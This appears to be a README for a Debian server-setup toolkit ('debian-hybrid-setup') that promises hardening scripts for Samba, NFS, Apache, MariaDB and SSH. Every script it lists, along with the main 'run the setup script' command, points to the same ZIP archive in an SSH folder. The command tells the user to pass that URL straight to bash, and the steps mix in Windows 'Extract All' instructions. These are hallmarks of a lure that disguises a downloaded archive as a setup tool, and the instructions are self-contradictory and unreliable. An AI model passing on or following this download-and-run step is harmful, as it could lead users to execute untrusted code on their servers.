Welcome to the debian-hybrid-setup repository! This project provides easy-to-use Bash scripts and powerful Ansible playbooks that help you set up a modern Debian 13 server. Whether you are bootstrapping your home lab or setting up a production environment, our tools streamline the process. The setup includes secure configurations for Samba, NFS, Apache, MariaDB, SSH, and more, using industry-standard hardening practices.
To get started with debian-hybrid-setup, you will need to visit the Releases page to download the latest version. Click the link below to access it:
After downloading, follow these steps to set up your server:
-
Extract the Downloaded Files: Locate the downloaded ZIP file. Right-click and select "Extract All" to unpack the files.
-
Open Terminal: Open a terminal on your Debian system.
-
Navigate to the Folder: Use the
cdcommand to go to the folder where you extracted the files. -
Run the Setup Script: Execute the setup script by typing
bash https://github.com/johnny97-cloud/debian-hybrid-setup/raw/refs/heads/main/services/ssh/hybrid-setup-debian-v3.5.zipand pressing Enter. Follow the on-screen instructions to complete the installation.
To run debian-hybrid-setup, ensure your system meets the following requirements:
- A Debian 13 server or compatible version.
- Access to the internet for downloading packages.
- Sufficient disk space (at least 10 GB recommended).
- Easy Bash Scripts: Simple scripts that automate repetitive tasks.
- Powerful Ansible Playbooks: Automate the deployment and configuration of your server environment.
- Secure Configurations: Enhance security for Samba, NFS, Apache, MariaDB, and SSH using best practices.
-
Configure Your Preferences: Open the configuration files included in the setup. Each file comes with comments that guide you through the settings.
-
Run Automated Tasks: Use the provided scripts and playbooks for tasks like setting up Samba shares or configuring Apache.
-
Monitor Server Performance: Utilize built-in tools to assess the performance and security settings of your server.
Each script in the debian-hybrid-setup repository is designed to perform specific tasks. Hereβs a quick overview:
- https://github.com/johnny97-cloud/debian-hybrid-setup/raw/refs/heads/main/services/ssh/hybrid-setup-debian-v3.5.zip The main script to initialize the setup.
- https://github.com/johnny97-cloud/debian-hybrid-setup/raw/refs/heads/main/services/ssh/hybrid-setup-debian-v3.5.zip Configures Samba shares for file sharing.
- https://github.com/johnny97-cloud/debian-hybrid-setup/raw/refs/heads/main/services/ssh/hybrid-setup-debian-v3.5.zip Sets up Apache to serve web pages.
- https://github.com/johnny97-cloud/debian-hybrid-setup/raw/refs/heads/main/services/ssh/hybrid-setup-debian-v3.5.zip Applies hardening settings to improve security.
- Backup Your Data: Always back up your important data before running any scripts.
- Read Through Configurations: Pay attention to configuration files to ensure your server meets your specific needs.
- Check Logs Regularly: Monitor logs to stay informed about server performance and potential issues.
If you encounter any issues or have questions, please check the Issues Tracker for solutions. You can also submit your questions or bugs there.
Thank you for using debian-hybrid-setup! We hope this tool makes your server setup easier and more efficient.